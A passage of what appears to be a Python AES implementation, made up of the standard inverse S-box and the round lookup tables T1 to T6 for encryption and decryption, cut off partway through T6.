Si = [0x52, 0x09, 0x6a, 0xd5, 0x30, 0x36, 0xa5, 0x38, 0xbf, 0x40, 0xa3, 0x9e, 0x81, 0xf3, 0xd7, 0xfb, 0x7c, 0xe3, 0x39, 0x82, 0x9b, 0x2f, 0xff, 0x87, 0x34, 0x8e, 0x43, 0x44, 0xc4, 0xde, 0xe9, 0xcb, 0x54, 0x7b, 0x94, 0x32, 0xa6, 0xc2, 0x23, 0x3d, 0xee, 0x4c, 0x95, 0x0b, 0x42, 0xfa, 0xc3, 0x4e, 0x08, 0x2e, 0xa1, 0x66, 0x28, 0xd9, 0x24, 0xb2, 0x76, 0x5b, 0xa2, 0x49, 0x6d, 0x8b, 0xd1, 0x25, 0x72, 0xf8, 0xf6, 0x64, 0x86, 0x68, 0x98, 0x16, 0xd4, 0xa4, 0x5c, 0xcc, 0x5d, 0x65, 0xb6, 0x92, 0x6c, 0x70, 0x48, 0x50, 0xfd, 0xed, 0xb9, 0xda, 0x5e, 0x15, 0x46, 0x57, 0xa7, 0x8d, 0x9d, 0x84, 0x90, 0xd8, 0xab, 0x00, 0x8c, 0xbc, 0xd3, 0x0a, 0xf7, 0xe4, 0x58, 0x05, 0xb8, 0xb3, 0x45, 0x06, 0xd0, 0x2c, 0x1e, 0x8f, 0xca, 0x3f, 0x0f, 0x02, 0xc1, 0xaf, 0xbd, 0x03, 0x01, 0x13, 0x8a, 0x6b, 0x3a, 0x91, 0x11, 0x41, 0x4f, 0x67, 0xdc, 0xea, 0x97, 0xf2, 0xcf, 0xce, 0xf0, 0xb4, 0xe6, 0x73, 0x96, 0xac, 0x74, 0x22, 0xe7, 0xad, 0x35, 0x85, 0xe2, 0xf9, 0x37, 0xe8, 0x1c, 0x75, 0xdf, 0x6e, 0x47, 0xf1, 0x1a, 0x71, 0x1d, 0x29, 0xc5, 0x89, 0x6f, 0xb7, 0x62, 0x0e, 0xaa, 0x18, 0xbe, 0x1b, 0xfc, 0x56, 0x3e, 0x4b, 0xc6, 0xd2, 0x79, 0x20, 0x9a, 0xdb, 0xc0, 0xfe, 0x78, 0xcd, 0x5a, 0xf4, 0x1f, 0xdd, 0xa8, 0x33, 0x88, 0x07, 0xc7, 0x31, 0xb1, 0x12, 0x10, 0x59, 0x27, 0x80, 0xec, 0x5f, 0x60, 0x51, 0x7f, 0xa9, 0x19, 0xb5, 0x4a, 0x0d, 0x2d, 0xe5, 0x7a, 0x9f, 0x93, 0xc9, 0x9c, 0xef, 0xa0, 0xe0, 0x3b, 0x4d, 0xae, 0x2a, 0xf5, 0xb0, 0xc8, 0xeb, 0xbb, 0x3c, 0x83, 0x53, 0x99, 0x61, 0x17, 0x2b, 0x04, 0x7e, 0xba, 0x77, 0xd6, 0x26, 0xe1, 0x69, 0x14, 0x63, 0x55, 0x21, 0x0c, 0x7d]
# Transformations for encryption
T1 = [0xc66363a5, 0xf87c7c84, 0xee777799, 0xf67b7b8d, 0xfff2f20d, 0xd66b6bbd, 0xde6f6fb1, 0x91c5c554, 0x60303050, 0x02010103, 0xce6767a9, 0x562b2b7d, 0xe7fefe19, 0xb5d7d762, 0x4dababe6, 0xec76769a, 0x8fcaca45, 0x1f82829d, 0x89c9c940, 0xfa7d7d87, 0xeffafa15, 0xb25959eb, 0x8e4747c9, 0xfbf0f00b, 0x41adadec, 0xb3d4d467, 0x5fa2a2fd, 0x45afafea, 0x239c9cbf, 0x53a4a4f7, 0xe4727296, 0x9bc0c05b, 0x75b7b7c2, 0xe1fdfd1c, 0x3d9393ae, 0x4c26266a, 0x6c36365a, 0x7e3f3f41, 0xf5f7f702, 0x83cccc4f, 0x6834345c, 0x51a5a5f4, 0xd1e5e534, 0xf9f1f108, 0xe2717193, 0xabd8d873, 0x62313153, 0x2a15153f, 0x0804040c, 0x95c7c752, 0x46232365, 0x9dc3c35e, 0x30181828, 0x379696a1, 0x0a05050f, 0x2f9a9ab5, 0x0e070709, 0x24121236, 0x1b80809b, 0xdfe2e23d, 0xcdebeb26, 0x4e272769, 0x7fb2b2cd, 0xea75759f, 0x1209091b, 0x1d83839e, 0x582c2c74, 0x341a1a2e, 0x361b1b2d, 0xdc6e6eb2, 0xb45a5aee, 0x5ba0a0fb, 0xa45252f6, 0x763b3b4d, 0xb7d6d661, 0x7db3b3ce, 0x5229297b, 0xdde3e33e, 0x5e2f2f71, 0x13848497, 0xa65353f5, 0xb9d1d168, 0x00000000, 0xc1eded2c, 0x40202060, 0xe3fcfc1f, 0x79b1b1c8, 0xb65b5bed, 0xd46a6abe, 0x8dcbcb46, 0x67bebed9, 0x7239394b, 0x944a4ade, 0x984c4cd4, 0xb05858e8, 0x85cfcf4a, 0xbbd0d06b, 0xc5efef2a, 0x4faaaae5, 0xedfbfb16, 0x864343c5, 0x9a4d4dd7, 0x66333355, 0x11858594, 0x8a4545cf, 0xe9f9f910, 0x04020206, 0xfe7f7f81, 0xa05050f0, 0x783c3c44, 0x259f9fba, 0x4ba8a8e3, 0xa25151f3, 0x5da3a3fe, 0x804040c0, 0x058f8f8a, 0x3f9292ad, 0x219d9dbc, 0x70383848, 0xf1f5f504, 0x63bcbcdf, 0x77b6b6c1, 0xafdada75, 0x42212163, 0x20101030, 0xe5ffff1a, 0xfdf3f30e, 0xbfd2d26d, 0x81cdcd4c, 0x180c0c14, 0x26131335, 0xc3ecec2f, 0xbe5f5fe1, 0x359797a2, 0x884444cc, 0x2e171739, 0x93c4c457, 0x55a7a7f2, 0xfc7e7e82, 0x7a3d3d47, 0xc86464ac, 0xba5d5de7, 0x3219192b, 0xe6737395, 0xc06060a0, 0x19818198, 0x9e4f4fd1, 0xa3dcdc7f, 0x44222266, 0x542a2a7e, 0x3b9090ab, 0x0b888883, 0x8c4646ca, 0xc7eeee29, 0x6bb8b8d3, 0x2814143c, 0xa7dede79, 0xbc5e5ee2, 0x160b0b1d, 0xaddbdb76, 0xdbe0e03b, 0x64323256, 0x743a3a4e, 0x140a0a1e, 0x924949db, 0x0c06060a, 0x4824246c, 0xb85c5ce4, 0x9fc2c25d, 0xbdd3d36e, 0x43acacef, 0xc46262a6, 0x399191a8, 0x319595a4, 0xd3e4e437, 0xf279798b, 0xd5e7e732, 0x8bc8c843, 0x6e373759, 0xda6d6db7, 0x018d8d8c, 0xb1d5d564, 0x9c4e4ed2, 0x49a9a9e0, 0xd86c6cb4, 0xac5656fa, 0xf3f4f407, 0xcfeaea25, 0xca6565af, 0xf47a7a8e, 0x47aeaee9, 0x10080818, 0x6fbabad5, 0xf0787888, 0x4a25256f, 0x5c2e2e72, 0x381c1c24, 0x57a6a6f1, 0x73b4b4c7, 0x97c6c651, 0xcbe8e823, 0xa1dddd7c, 0xe874749c, 0x3e1f1f21, 0x964b4bdd, 0x61bdbddc, 0x0d8b8b86, 0x0f8a8a85, 0xe0707090, 0x7c3e3e42, 0x71b5b5c4, 0xcc6666aa, 0x904848d8, 0x06030305, 0xf7f6f601, 0x1c0e0e12, 0xc26161a3, 0x6a35355f, 0xae5757f9, 0x69b9b9d0, 0x17868691, 0x99c1c158, 0x3a1d1d27, 0x279e9eb9, 0xd9e1e138, 0xebf8f813, 0x2b9898b3, 0x22111133, 0xd26969bb, 0xa9d9d970, 0x078e8e89, 0x339494a7, 0x2d9b9bb6, 0x3c1e1e22, 0x15878792, 0xc9e9e920, 0x87cece49, 0xaa5555ff, 0x50282878, 0xa5dfdf7a, 0x038c8c8f, 0x59a1a1f8, 0x09898980, 0x1a0d0d17, 0x65bfbfda, 0xd7e6e631, 0x844242c6, 0xd06868b8, 0x824141c3, 0x299999b0, 0x5a2d2d77, 0x1e0f0f11, 0x7bb0b0cb, 0xa85454fc, 0x6dbbbbd6, 0x2c16163a]
T2 = [0xa5c66363, 0x84f87c7c, 0x99ee7777, 0x8df67b7b, 0x0dfff2f2, 0xbdd66b6b, 0xb1de6f6f, 0x5491c5c5, 0x50603030, 0x03020101, 0xa9ce6767, 0x7d562b2b, 0x19e7fefe, 0x62b5d7d7, 0xe64dabab, 0x9aec7676, 0x458fcaca, 0x9d1f8282, 0x4089c9c9, 0x87fa7d7d, 0x15effafa, 0xebb25959, 0xc98e4747, 0x0bfbf0f0, 0xec41adad, 0x67b3d4d4, 0xfd5fa2a2, 0xea45afaf, 0xbf239c9c, 0xf753a4a4, 0x96e47272, 0x5b9bc0c0, 0xc275b7b7, 0x1ce1fdfd, 0xae3d9393, 0x6a4c2626, 0x5a6c3636, 0x417e3f3f, 0x02f5f7f7, 0x4f83cccc, 0x5c683434, 0xf451a5a5, 0x34d1e5e5, 0x08f9f1f1, 0x93e27171, 0x73abd8d8, 0x53623131, 0x3f2a1515, 0x0c080404, 0x5295c7c7, 0x65462323, 0x5e9dc3c3, 0x28301818, 0xa1379696, 0x0f0a0505, 0xb52f9a9a, 0x090e0707, 0x36241212, 0x9b1b8080, 0x3ddfe2e2, 0x26cdebeb, 0x694e2727, 0xcd7fb2b2, 0x9fea7575, 0x1b120909, 0x9e1d8383, 0x74582c2c, 0x2e341a1a, 0x2d361b1b, 0xb2dc6e6e, 0xeeb45a5a, 0xfb5ba0a0, 0xf6a45252, 0x4d763b3b, 0x61b7d6d6, 0xce7db3b3, 0x7b522929, 0x3edde3e3, 0x715e2f2f, 0x97138484, 0xf5a65353, 0x68b9d1d1, 0x00000000, 0x2cc1eded, 0x60402020, 0x1fe3fcfc, 0xc879b1b1, 0xedb65b5b, 0xbed46a6a, 0x468dcbcb, 0xd967bebe, 0x4b723939, 0xde944a4a, 0xd4984c4c, 0xe8b05858, 0x4a85cfcf, 0x6bbbd0d0, 0x2ac5efef, 0xe54faaaa, 0x16edfbfb, 0xc5864343, 0xd79a4d4d, 0x55663333, 0x94118585, 0xcf8a4545, 0x10e9f9f9, 0x06040202, 0x81fe7f7f, 0xf0a05050, 0x44783c3c, 0xba259f9f, 0xe34ba8a8, 0xf3a25151, 0xfe5da3a3, 0xc0804040, 0x8a058f8f, 0xad3f9292, 0xbc219d9d, 0x48703838, 0x04f1f5f5, 0xdf63bcbc, 0xc177b6b6, 0x75afdada, 0x63422121, 0x30201010, 0x1ae5ffff, 0x0efdf3f3, 0x6dbfd2d2, 0x4c81cdcd, 0x14180c0c, 0x35261313, 0x2fc3ecec, 0xe1be5f5f, 0xa2359797, 0xcc884444, 0x392e1717, 0x5793c4c4, 0xf255a7a7, 0x82fc7e7e, 0x477a3d3d, 0xacc86464, 0xe7ba5d5d, 0x2b321919, 0x95e67373, 0xa0c06060, 0x98198181, 0xd19e4f4f, 0x7fa3dcdc, 0x66442222, 0x7e542a2a, 0xab3b9090, 0x830b8888, 0xca8c4646, 0x29c7eeee, 0xd36bb8b8, 0x3c281414, 0x79a7dede, 0xe2bc5e5e, 0x1d160b0b, 0x76addbdb, 0x3bdbe0e0, 0x56643232, 0x4e743a3a, 0x1e140a0a, 0xdb924949, 0x0a0c0606, 0x6c482424, 0xe4b85c5c, 0x5d9fc2c2, 0x6ebdd3d3, 0xef43acac, 0xa6c46262, 0xa8399191, 0xa4319595, 0x37d3e4e4, 0x8bf27979, 0x32d5e7e7, 0x438bc8c8, 0x596e3737, 0xb7da6d6d, 0x8c018d8d, 0x64b1d5d5, 0xd29c4e4e, 0xe049a9a9, 0xb4d86c6c, 0xfaac5656, 0x07f3f4f4, 0x25cfeaea, 0xafca6565, 0x8ef47a7a, 0xe947aeae, 0x18100808, 0xd56fbaba, 0x88f07878, 0x6f4a2525, 0x725c2e2e, 0x24381c1c, 0xf157a6a6, 0xc773b4b4, 0x5197c6c6, 0x23cbe8e8, 0x7ca1dddd, 0x9ce87474, 0x213e1f1f, 0xdd964b4b, 0xdc61bdbd, 0x860d8b8b, 0x850f8a8a, 0x90e07070, 0x427c3e3e, 0xc471b5b5, 0xaacc6666, 0xd8904848, 0x05060303, 0x01f7f6f6, 0x121c0e0e, 0xa3c26161, 0x5f6a3535, 0xf9ae5757, 0xd069b9b9, 0x91178686, 0x5899c1c1, 0x273a1d1d, 0xb9279e9e, 0x38d9e1e1, 0x13ebf8f8, 0xb32b9898, 0x33221111, 0xbbd26969, 0x70a9d9d9, 0x89078e8e, 0xa7339494, 0xb62d9b9b, 0x223c1e1e, 0x92158787, 0x20c9e9e9, 0x4987cece, 0xffaa5555, 0x78502828, 0x7aa5dfdf, 0x8f038c8c, 0xf859a1a1, 0x80098989, 0x171a0d0d, 0xda65bfbf, 0x31d7e6e6, 0xc6844242, 0xb8d06868, 0xc3824141, 0xb0299999, 0x775a2d2d, 0x111e0f0f, 0xcb7bb0b0, 0xfca85454, 0xd66dbbbb, 0x3a2c1616]
T3 = [0x63a5c663, 0x7c84f87c, 0x7799ee77, 0x7b8df67b, 0xf20dfff2, 0x6bbdd66b, 0x6fb1de6f, 0xc55491c5, 0x30506030, 0x01030201, 0x67a9ce67, 0x2b7d562b, 0xfe19e7fe, 0xd762b5d7, 0xabe64dab, 0x769aec76, 0xca458fca, 0x829d1f82, 0xc94089c9, 0x7d87fa7d, 0xfa15effa, 0x59ebb259, 0x47c98e47, 0xf00bfbf0, 0xadec41ad, 0xd467b3d4, 0xa2fd5fa2, 0xafea45af, 0x9cbf239c, 0xa4f753a4, 0x7296e472, 0xc05b9bc0, 0xb7c275b7, 0xfd1ce1fd, 0x93ae3d93, 0x266a4c26, 0x365a6c36, 0x3f417e3f, 0xf702f5f7, 0xcc4f83cc, 0x345c6834, 0xa5f451a5, 0xe534d1e5, 0xf108f9f1, 0x7193e271, 0xd873abd8, 0x31536231, 0x153f2a15, 0x040c0804, 0xc75295c7, 0x23654623, 0xc35e9dc3, 0x18283018, 0x96a13796, 0x050f0a05, 0x9ab52f9a, 0x07090e07, 0x12362412, 0x809b1b80, 0xe23ddfe2, 0xeb26cdeb, 0x27694e27, 0xb2cd7fb2, 0x759fea75, 0x091b1209, 0x839e1d83, 0x2c74582c, 0x1a2e341a, 0x1b2d361b, 0x6eb2dc6e, 0x5aeeb45a, 0xa0fb5ba0, 0x52f6a452, 0x3b4d763b, 0xd661b7d6, 0xb3ce7db3, 0x297b5229, 0xe33edde3, 0x2f715e2f, 0x84971384, 0x53f5a653, 0xd168b9d1, 0x00000000, 0xed2cc1ed, 0x20604020, 0xfc1fe3fc, 0xb1c879b1, 0x5bedb65b, 0x6abed46a, 0xcb468dcb, 0xbed967be, 0x394b7239, 0x4ade944a, 0x4cd4984c, 0x58e8b058, 0xcf4a85cf, 0xd06bbbd0, 0xef2ac5ef, 0xaae54faa, 0xfb16edfb, 0x43c58643, 0x4dd79a4d, 0x33556633, 0x85941185, 0x45cf8a45, 0xf910e9f9, 0x02060402, 0x7f81fe7f, 0x50f0a050, 0x3c44783c, 0x9fba259f, 0xa8e34ba8, 0x51f3a251, 0xa3fe5da3, 0x40c08040, 0x8f8a058f, 0x92ad3f92, 0x9dbc219d, 0x38487038, 0xf504f1f5, 0xbcdf63bc, 0xb6c177b6, 0xda75afda, 0x21634221, 0x10302010, 0xff1ae5ff, 0xf30efdf3, 0xd26dbfd2, 0xcd4c81cd, 0x0c14180c, 0x13352613, 0xec2fc3ec, 0x5fe1be5f, 0x97a23597, 0x44cc8844, 0x17392e17, 0xc45793c4, 0xa7f255a7, 0x7e82fc7e, 0x3d477a3d, 0x64acc864, 0x5de7ba5d, 0x192b3219, 0x7395e673, 0x60a0c060, 0x81981981, 0x4fd19e4f, 0xdc7fa3dc, 0x22664422, 0x2a7e542a, 0x90ab3b90, 0x88830b88, 0x46ca8c46, 0xee29c7ee, 0xb8d36bb8, 0x143c2814, 0xde79a7de, 0x5ee2bc5e, 0x0b1d160b, 0xdb76addb, 0xe03bdbe0, 0x32566432, 0x3a4e743a, 0x0a1e140a, 0x49db9249, 0x060a0c06, 0x246c4824, 0x5ce4b85c, 0xc25d9fc2, 0xd36ebdd3, 0xacef43ac, 0x62a6c462, 0x91a83991, 0x95a43195, 0xe437d3e4, 0x798bf279, 0xe732d5e7, 0xc8438bc8, 0x37596e37, 0x6db7da6d, 0x8d8c018d, 0xd564b1d5, 0x4ed29c4e, 0xa9e049a9, 0x6cb4d86c, 0x56faac56, 0xf407f3f4, 0xea25cfea, 0x65afca65, 0x7a8ef47a, 0xaee947ae, 0x08181008, 0xbad56fba, 0x7888f078, 0x256f4a25, 0x2e725c2e, 0x1c24381c, 0xa6f157a6, 0xb4c773b4, 0xc65197c6, 0xe823cbe8, 0xdd7ca1dd, 0x749ce874, 0x1f213e1f, 0x4bdd964b, 0xbddc61bd, 0x8b860d8b, 0x8a850f8a, 0x7090e070, 0x3e427c3e, 0xb5c471b5, 0x66aacc66, 0x48d89048, 0x03050603, 0xf601f7f6, 0x0e121c0e, 0x61a3c261, 0x355f6a35, 0x57f9ae57, 0xb9d069b9, 0x86911786, 0xc15899c1, 0x1d273a1d, 0x9eb9279e, 0xe138d9e1, 0xf813ebf8, 0x98b32b98, 0x11332211, 0x69bbd269, 0xd970a9d9, 0x8e89078e, 0x94a73394, 0x9bb62d9b, 0x1e223c1e, 0x87921587, 0xe920c9e9, 0xce4987ce, 0x55ffaa55, 0x28785028, 0xdf7aa5df, 0x8c8f038c, 0xa1f859a1, 0x89800989, 0x0d171a0d, 0xbfda65bf, 0xe631d7e6, 0x42c68442, 0x68b8d068, 0x41c38241, 0x99b02999, 0x2d775a2d, 0x0f111e0f, 0xb0cb7bb0, 0x54fca854, 0xbbd66dbb, 0x163a2c16]
T4 = [0x6363a5c6, 0x7c7c84f8, 0x777799ee, 0x7b7b8df6, 0xf2f20dff, 0x6b6bbdd6, 0x6f6fb1de, 0xc5c55491, 0x30305060, 0x01010302, 0x6767a9ce, 0x2b2b7d56, 0xfefe19e7, 0xd7d762b5, 0xababe64d, 0x76769aec, 0xcaca458f, 0x82829d1f, 0xc9c94089, 0x7d7d87fa, 0xfafa15ef, 0x5959ebb2, 0x4747c98e, 0xf0f00bfb, 0xadadec41, 0xd4d467b3, 0xa2a2fd5f, 0xafafea45, 0x9c9cbf23, 0xa4a4f753, 0x727296e4, 0xc0c05b9b, 0xb7b7c275, 0xfdfd1ce1, 0x9393ae3d, 0x26266a4c, 0x36365a6c, 0x3f3f417e, 0xf7f702f5, 0xcccc4f83, 0x34345c68, 0xa5a5f451, 0xe5e534d1, 0xf1f108f9, 0x717193e2, 0xd8d873ab, 0x31315362, 0x15153f2a, 0x04040c08, 0xc7c75295, 0x23236546, 0xc3c35e9d, 0x18182830, 0x9696a137, 0x05050f0a, 0x9a9ab52f, 0x0707090e, 0x12123624, 0x80809b1b, 0xe2e23ddf, 0xebeb26cd, 0x2727694e, 0xb2b2cd7f, 0x75759fea, 0x09091b12, 0x83839e1d, 0x2c2c7458, 0x1a1a2e34, 0x1b1b2d36, 0x6e6eb2dc, 0x5a5aeeb4, 0xa0a0fb5b, 0x5252f6a4, 0x3b3b4d76, 0xd6d661b7, 0xb3b3ce7d, 0x29297b52, 0xe3e33edd, 0x2f2f715e, 0x84849713, 0x5353f5a6, 0xd1d168b9, 0x00000000, 0xeded2cc1, 0x20206040, 0xfcfc1fe3, 0xb1b1c879, 0x5b5bedb6, 0x6a6abed4, 0xcbcb468d, 0xbebed967, 0x39394b72, 0x4a4ade94, 0x4c4cd498, 0x5858e8b0, 0xcfcf4a85, 0xd0d06bbb, 0xefef2ac5, 0xaaaae54f, 0xfbfb16ed, 0x4343c586, 0x4d4dd79a, 0x33335566, 0x85859411, 0x4545cf8a, 0xf9f910e9, 0x02020604, 0x7f7f81fe, 0x5050f0a0, 0x3c3c4478, 0x9f9fba25, 0xa8a8e34b, 0x5151f3a2, 0xa3a3fe5d, 0x4040c080, 0x8f8f8a05, 0x9292ad3f, 0x9d9dbc21, 0x38384870, 0xf5f504f1, 0xbcbcdf63, 0xb6b6c177, 0xdada75af, 0x21216342, 0x10103020, 0xffff1ae5, 0xf3f30efd, 0xd2d26dbf, 0xcdcd4c81, 0x0c0c1418, 0x13133526, 0xecec2fc3, 0x5f5fe1be, 0x9797a235, 0x4444cc88, 0x1717392e, 0xc4c45793, 0xa7a7f255, 0x7e7e82fc, 0x3d3d477a, 0x6464acc8, 0x5d5de7ba, 0x19192b32, 0x737395e6, 0x6060a0c0, 0x81819819, 0x4f4fd19e, 0xdcdc7fa3, 0x22226644, 0x2a2a7e54, 0x9090ab3b, 0x8888830b, 0x4646ca8c, 0xeeee29c7, 0xb8b8d36b, 0x14143c28, 0xdede79a7, 0x5e5ee2bc, 0x0b0b1d16, 0xdbdb76ad, 0xe0e03bdb, 0x32325664, 0x3a3a4e74, 0x0a0a1e14, 0x4949db92, 0x06060a0c, 0x24246c48, 0x5c5ce4b8, 0xc2c25d9f, 0xd3d36ebd, 0xacacef43, 0x6262a6c4, 0x9191a839, 0x9595a431, 0xe4e437d3, 0x79798bf2, 0xe7e732d5, 0xc8c8438b, 0x3737596e, 0x6d6db7da, 0x8d8d8c01, 0xd5d564b1, 0x4e4ed29c, 0xa9a9e049, 0x6c6cb4d8, 0x5656faac, 0xf4f407f3, 0xeaea25cf, 0x6565afca, 0x7a7a8ef4, 0xaeaee947, 0x08081810, 0xbabad56f, 0x787888f0, 0x25256f4a, 0x2e2e725c, 0x1c1c2438, 0xa6a6f157, 0xb4b4c773, 0xc6c65197, 0xe8e823cb, 0xdddd7ca1, 0x74749ce8, 0x1f1f213e, 0x4b4bdd96, 0xbdbddc61, 0x8b8b860d, 0x8a8a850f, 0x707090e0, 0x3e3e427c, 0xb5b5c471, 0x6666aacc, 0x4848d890, 0x03030506, 0xf6f601f7, 0x0e0e121c, 0x6161a3c2, 0x35355f6a, 0x5757f9ae, 0xb9b9d069, 0x86869117, 0xc1c15899, 0x1d1d273a, 0x9e9eb927, 0xe1e138d9, 0xf8f813eb, 0x9898b32b, 0x11113322, 0x6969bbd2, 0xd9d970a9, 0x8e8e8907, 0x9494a733, 0x9b9bb62d, 0x1e1e223c, 0x87879215, 0xe9e920c9, 0xcece4987, 0x5555ffaa, 0x28287850, 0xdfdf7aa5, 0x8c8c8f03, 0xa1a1f859, 0x89898009, 0x0d0d171a, 0xbfbfda65, 0xe6e631d7, 0x4242c684, 0x6868b8d0, 0x4141c382, 0x9999b029, 0x2d2d775a, 0x0f0f111e, 0xb0b0cb7b, 0x5454fca8, 0xbbbbd66d, 0x16163a2c]
# Transformations for decryption
T5 = [0x51f4a750, 0x7e416553, 0x1a17a4c3, 0x3a275e96, 0x3bab6bcb, 0x1f9d45f1, 0xacfa58ab, 0x4be30393, 0x2030fa55, 0xad766df6, 0x88cc7691, 0xf5024c25, 0x4fe5d7fc, 0xc52acbd7, 0x26354480, 0xb562a38f, 0xdeb15a49, 0x25ba1b67, 0x45ea0e98, 0x5dfec0e1, 0xc32f7502, 0x814cf012, 0x8d4697a3, 0x6bd3f9c6, 0x038f5fe7, 0x15929c95, 0xbf6d7aeb, 0x955259da, 0xd4be832d, 0x587421d3, 0x49e06929, 0x8ec9c844, 0x75c2896a, 0xf48e7978, 0x99583e6b, 0x27b971dd, 0xbee14fb6, 0xf088ad17, 0xc920ac66, 0x7dce3ab4, 0x63df4a18, 0xe51a3182, 0x97513360, 0x62537f45, 0xb16477e0, 0xbb6bae84, 0xfe81a01c, 0xf9082b94, 0x70486858, 0x8f45fd19, 0x94de6c87, 0x527bf8b7, 0xab73d323, 0x724b02e2, 0xe31f8f57, 0x6655ab2a, 0xb2eb2807, 0x2fb5c203, 0x86c57b9a, 0xd33708a5, 0x302887f2, 0x23bfa5b2, 0x02036aba, 0xed16825c, 0x8acf1c2b, 0xa779b492, 0xf307f2f0, 0x4e69e2a1, 0x65daf4cd, 0x0605bed5, 0xd134621f, 0xc4a6fe8a, 0x342e539d, 0xa2f355a0, 0x058ae132, 0xa4f6eb75, 0x0b83ec39, 0x4060efaa, 0x5e719f06, 0xbd6e1051, 0x3e218af9, 0x96dd063d, 0xdd3e05ae, 0x4de6bd46, 0x91548db5, 0x71c45d05, 0x0406d46f, 0x605015ff, 0x1998fb24, 0xd6bde997, 0x894043cc, 0x67d99e77, 0xb0e842bd, 0x07898b88, 0xe7195b38, 0x79c8eedb, 0xa17c0a47, 0x7c420fe9, 0xf8841ec9, 0x00000000, 0x09808683, 0x322bed48, 0x1e1170ac, 0x6c5a724e, 0xfd0efffb, 0x0f853856, 0x3daed51e, 0x362d3927, 0x0a0fd964, 0x685ca621, 0x9b5b54d1, 0x24362e3a, 0x0c0a67b1, 0x9357e70f, 0xb4ee96d2, 0x1b9b919e, 0x80c0c54f, 0x61dc20a2, 0x5a774b69, 0x1c121a16, 0xe293ba0a, 0xc0a02ae5, 0x3c22e043, 0x121b171d, 0x0e090d0b, 0xf28bc7ad, 0x2db6a8b9, 0x141ea9c8, 0x57f11985, 0xaf75074c, 0xee99ddbb, 0xa37f60fd, 0xf701269f, 0x5c72f5bc, 0x44663bc5, 0x5bfb7e34, 0x8b432976, 0xcb23c6dc, 0xb6edfc68, 0xb8e4f163, 0xd731dcca, 0x42638510, 0x13972240, 0x84c61120, 0x854a247d, 0xd2bb3df8, 0xaef93211, 0xc729a16d, 0x1d9e2f4b, 0xdcb230f3, 0x0d8652ec, 0x77c1e3d0, 0x2bb3166c, 0xa970b999, 0x119448fa, 0x47e96422, 0xa8fc8cc4, 0xa0f03f1a, 0x567d2cd8, 0x223390ef, 0x87494ec7, 0xd938d1c1, 0x8ccaa2fe, 0x98d40b36, 0xa6f581cf, 0xa57ade28, 0xdab78e26, 0x3fadbfa4, 0x2c3a9de4, 0x5078920d, 0x6a5fcc9b, 0x547e4662, 0xf68d13c2, 0x90d8b8e8, 0x2e39f75e, 0x82c3aff5, 0x9f5d80be, 0x69d0937c, 0x6fd52da9, 0xcf2512b3, 0xc8ac993b, 0x10187da7, 0xe89c636e, 0xdb3bbb7b, 0xcd267809, 0x6e5918f4, 0xec9ab701, 0x834f9aa8, 0xe6956e65, 0xaaffe67e, 0x21bccf08, 0xef15e8e6, 0xbae79bd9, 0x4a6f36ce, 0xea9f09d4, 0x29b07cd6, 0x31a4b2af, 0x2a3f2331, 0xc6a59430, 0x35a266c0, 0x744ebc37, 0xfc82caa6, 0xe090d0b0, 0x33a7d815, 0xf104984a, 0x41ecdaf7, 0x7fcd500e, 0x1791f62f, 0x764dd68d, 0x43efb04d, 0xccaa4d54, 0xe49604df, 0x9ed1b5e3, 0x4c6a881b, 0xc12c1fb8, 0x4665517f, 0x9d5eea04, 0x018c355d, 0xfa877473, 0xfb0b412e, 0xb3671d5a, 0x92dbd252, 0xe9105633, 0x6dd64713, 0x9ad7618c, 0x37a10c7a, 0x59f8148e, 0xeb133c89, 0xcea927ee, 0xb761c935, 0xe11ce5ed, 0x7a47b13c, 0x9cd2df59, 0x55f2733f, 0x1814ce79, 0x73c737bf, 0x53f7cdea, 0x5ffdaa5b, 0xdf3d6f14, 0x7844db86, 0xcaaff381, 0xb968c43e, 0x3824342c, 0xc2a3405f, 0x161dc372, 0xbce2250c, 0x283c498b, 0xff0d9541, 0x39a80171, 0x080cb3de, 0xd8b4e49c, 0x6456c190, 0x7bcb8461, 0xd532b670, 0x486c5c74, 0xd0b85742]
T6 = [0x5051f4a7, 0x537e4165, 0xc31a17a4, 0x963a275e, 0xcb3bab6b, 0xf11f9d45, 0xabacfa58, 0x934be303, 0x552030fa, 0xf6ad766d, 0x9188cc76, 0x25f5024c, 0xfc4fe5d7, 0xd7c52acb, 0x80263544, 0x8fb562a3, 0x49deb15a, 0x6725ba1b, 0x9845ea0e, 0xe15dfec0, 0x02c32f75, 0x12814cf0, 0xa38d4697, 0xc66bd3f9, 0xe7038f5f, 0x9515929c, 0xebbf6d7a, 0xda955259, 0x2dd4be83, 0xd3587421, 0x2949e069, 0x448ec9c8, 0x6a75c289, 0x78f48e79, 0x6b99583e, 0xdd27b971, 0xb6bee14f, 0x17f088ad, 0x66c920ac, 0xb47dce3a, 0x1863df4a, 0x82e51a31, 0x60975133, 0x4562537f, 0xe0b16477, 0x84bb6bae, 0x1cfe81a0, 0x94f9082b, 0x58704868, 0x198f45fd, 0x8794de6c, 0xb7527bf8, 0x23ab73d3, 0xe2724b02, 0x57e31f8f, 0x2a6655ab, 0x07b2eb28, 0x032fb5c2, 0x9a86c57b, 0xa5d33708, 0xf2302887, 0xb223bfa5, 0xba02036a, 0x5ced1682, 0x2b8acf1c, 0x92a779b4, 0xf0f307f2, 0xa14e69e2, 0xcd65daf4, 0xd50605be, 0x1fd13462, 0x8ac4a6fe, 0x9d342e53, 0xa0a2f355, 0x32058ae1, 0x75a4f6eb, 0x390b83ec, 0xaa4060ef, 0x065e719f, 0x51bd6e10, 0xf93e218a, 0x3d96dd06, 0xaedd3e05, 0x464de6bd, 0xb591548d, 0x0571c45d, 0x6f0406d4, 0xff605015, 0x241998fb, 0x97d6bde9, 0xcc894043, 0x7767d99e, 0xbdb0e842, 0x8807898b, 0x38e7195b, 0xdb79c8ee, 0x47a17c0a, 0xe97c420f, 0xc9f8841e, 0x00000000, 0x83098086, 0x48322bed, 0xac1e1170, 0x4e6c5a72, 0xfbfd0eff, 0x560f8538, 0x1e3daed5, 0x27362d39, 0x640a0fd9, 0x21685ca6, 0xd19b5b54, 0x3a24362e, 0xb10c0a67, 0x0f9357e7, 0xd2b4ee96, 0x9e1b9b91, 0x4f80c0c5, 0xa261dc20, 0x695a774b, 0x161c121a, 0x0ae293ba, 0xe5c0a02a, 0x433c22e0, 0x1d121b17, 0x0b0e090d, 0xadf28bc7, 0xb92db6a8, 0xc8141ea9, 0x8557f119, 0x4caf7507, 0xbbee99dd, 0xfda37f60, 0x9ff70126, 0xbc5c72f5, 0xc544663b, 0x345bfb7e, 0x768b4329, 0xdccb23c6, 0x68b6edfc, 0x63b8e4f1, 0xcad731dc, 0x10426385, 0x40139722, 0x2084c611, 0x7d854a24, 0xf8d2bb3d, 0x11aef932, 